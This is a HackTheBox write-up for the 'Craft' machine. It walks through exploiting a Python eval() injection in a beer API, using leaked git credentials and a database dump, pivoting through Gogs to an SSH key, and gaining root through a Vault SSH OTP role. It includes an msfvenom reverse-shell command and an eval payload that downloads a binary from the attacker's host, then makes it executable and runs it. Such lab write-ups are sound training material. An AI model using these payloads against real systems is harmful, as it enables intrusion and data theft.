Craft
Craft - HackTheBox
Overview
Craft is a medium-difficulty Linux machine from HackTheBox that revolves around exploiting a craft beer API application. The attack path begins with discovering a Gogs source code repository and an API, where a dangerous use of Python's eval() function is found in the brew creation endpoint. Credentials leaked in git commit history allow authentication to the API, enabling remote code execution through the eval() vulnerability. The initial shell lands inside a Docker container, where database credentials are extracted and used to dump user accounts. One of these accounts grants access to a private Gogs repository containing an SSH private key, which provides user-level access to the host. Privilege escalation is achieved by abusing a HashiCorp Vault instance configured with an SSH OTP role, allowing generation of a one-time password for root SSH access.
Recon
Port Scanning
We start by running an Nmap scan with default scripts (-sC) and version detection (-sV) against the target, first scanning common ports and then performing a full port scan to ensure nothing is missed.
sudo nmap -sC -sV -vv -oA tcp 10.129.1.227 && sudo nmap -sC -sV -vv -p- -oA allports 10.129.1.227The scan reveals three open ports: 22 (SSH), 443 (HTTPS), and 6022 (an additional SSH service). The HTTPS service on port 443 is of primary interest as it hosts the main web application.
Web Enumeration
Browsing the main website on port 443, we discover two subdomains referenced in the page: api.craft.htb and gogs.craft.htb. We add both to our /etc/hosts file so we can access them.
Visiting api.craft.htb reveals a Swagger-documented REST API for managing craft beer brews. The API provides endpoints for authentication, token validation, and CRUD operations on brew entries.
Visiting gogs.craft.htb reveals a self-hosted Gogs Git service containing the source code repository for the Craft API application. This gives us direct access to the application's codebase.
Source Code Analysis
Browsing through the Gogs repository, we find an interesting issue in the issue tracker that discusses a bug fix related to ABV (Alcohol By Volume) validation.
Examining the commit associated with this issue, we discover that the fix introduced a critical vulnerability: Python's eval() function is used to validate the abv field. Since eval() executes arbitrary Python expressions, any user-controlled input passed to it can result in remote code execution.
Credential Discovery
Digging through the git commit history, we find a file where a developer hardcoded their credentials in a previous commit. Even though the credentials were later removed, they remain accessible in the repository's history.
The leaked credentials are: dinesh:4aUh0A8PbVJxgd
Token Generation
Using the discovered credentials, we can authenticate to the API and obtain a valid JWT token. This token is required to access authenticated endpoints, including the brew creation endpoint where the eval() vulnerability exists. The following Python script demonstrates the authentication flow and token validation:
#!/usr/bin/env python
import requests
import json
proxies = {
'http': '127.0.0.1:8080',
'https': '127.0.0.1:8080'
}
response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False, proxies=proxies)
json_response = json.loads(response.text)
token = json_response['token']
headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json' }
# make sure token is valid
response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False, proxies=proxies)
print(response.text)
# create a sample brew with bogus ABV... should fail.
# print("Create bogus ABV brew")
# brew_dict = {}
# brew_dict['abv'] = '15.0'
# brew_dict['name'] = 'bullshit'
# brew_dict['brewer'] = 'bullshit'
# brew_dict['style'] = 'bullshit'
# json_data = json.dumps(brew_dict)
# response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False, proxies=proxies)
# print(response.text)
# # create a sample brew with real ABV... should succeed.
# print("Create real ABV brew")
# brew_dict = {}
# brew_dict['abv'] = '0.15'
# brew_dict['name'] = 'bullshit'
# brew_dict['brewer'] = 'bullshit'
# brew_dict['style'] = 'bullshit'
# json_data = json.dumps(brew_dict)
# response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False, proxies=proxies)
# print(response.text)With the token generated and validated, we have confirmed that we can reach the vulnerable eval() function through the brew creation endpoint.
Foothold
Exploiting the eval() Vulnerability
To gain a reverse shell, we generate a Meterpreter payload using msfvenom as a 64-bit Linux ELF binary:
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=tun0 lport=8443 -f elf -o eWe then exploit the eval() vulnerability in the abv field by sending a series of POST requests to the /api/brew/ endpoint. Each request uses __import__('os').system() within the abv parameter to execute system commands: first downloading our payload, then making it executable, and finally running it in the background.
POST /api/brew/ HTTP/1.1
Host: api.craft.htb
Content-Length: 152
Sec-Ch-Ua-Platform: "Linux"
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Accept: application/json
Sec-Ch-Ua: "Not:A-Brand";v="99", "Brave";v="145", "Chromium";v="145"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
Sec-Gpc: 1
Origin: https://api.craft.htb
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://api.craft.htb/api/
X-Craft-Api-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNzczMDAyMzk1fQ.xZmpBPYTuIVI75DQ28bYlz5IoqVBZNwLwpw8A5ldagQ
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Priority: u=1, i
Connection: keep-alive
{
"id": 99,
"brewer": "string",
"name": "string",
"style": "string",
"abv": "__import__('os').system('wget http://10.10.14.48/e -O /tmp/e')",
"abv": "__import__('os').system('chmod +x /tmp/e')",
"abv": "__import__('os').system('/tmp/e &')"
}After sending these requests, we receive a reverse shell connection back on our listener.
Enumerating the Container
Upon landing on the box, we quickly discover that we are inside a Docker container rather than the host system. This is evident from the presence of /.dockerenv and the limited filesystem.
Exploring the container's filesystem, we find the application's configuration files which contain the JWT secret key used for token signing, as well as MySQL database credentials that the API uses to connect to its backend database.
We attempt to reuse the discovered passwords for SSH access against all user accounts found on the Gogs instance, but none of the passwords work for direct SSH login.
Lateral Movement
Database Enumeration
Since we have database credentials from the container's configuration and we're running inside the Docker environment where the application code is available, we write a Python script to query the MySQL database directly. The script leverages the application's own settings module to pull the database connection details:
#!/usr/bin/env python
import pymysql
from craft_api import settings
# test connection to mysql database
connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)
try:
with connection.cursor() as cursor:
sql = "SELECT * from user"
cursor.execute(sql)
result = cursor.fetchall()
print(result)
finally:
connection.close()
Running the script dumps the entire user table, revealing three accounts with plaintext passwords:
[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]
Pivoting via Gogs
We attempt SSH login with each of the dumped credentials, but none of the passwords grant direct SSH access to the host machine.
However, trying the credentials on the Gogs web interface is more fruitful - we successfully log in as gilfoyle using the password ZEU3N8WNM2rh4T. Gilfoyle's account has access to a private repository called craft-infra that was not visible with our previous access.
Inside the craft-infra repository, we discover an SSH private key (RSA) that gilfoyle uses for accessing the host system.
SSH Access as Gilfoyle
Using the discovered SSH private key along with gilfoyle's database password (ZEU3N8WNM2rh4T) as the key passphrase, we successfully SSH into the host machine as the gilfoyle user and obtain the user flag.
Privilege Escalation
HashiCorp Vault Discovery
Examining the system, we notice that HashiCorp Vault is installed and running, exposed locally on port 8200. This was hinted at by the craft-infra repository and the infrastructure setup.
In gilfoyle's home directory, we find a .vault-token file containing a valid Vault authentication token. This token allows us to interact with the Vault instance without needing to authenticate separately.
System Enumeration
We run LinPEAS on the host with the cloud collector disabled to avoid unnecessary noise, focusing on local enumeration categories:
./lp.sh -o system_information,container,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_perms_files,interesting_files,api_keys_regexRoot via Vault SSH OTP
After researching HashiCorp Vault's SSH secrets engine documentation, we learn that Vault supports an SSH One-Time Password (OTP) mode. This feature allows Vault to generate a temporary password that can be used for a single SSH login. Checking the Vault configuration, we find that an root_otp role is configured, which allows generating OTPs for the root user.
Using the vault CLI with the existing token, we generate an OTP and SSH in as root in a single command:
vault ssh -role root_otp -mode otp [email protected]The Vault SSH OTP engine generates a one-time password, connects to the target via SSH as root, and we land in a root shell - completing the machine.

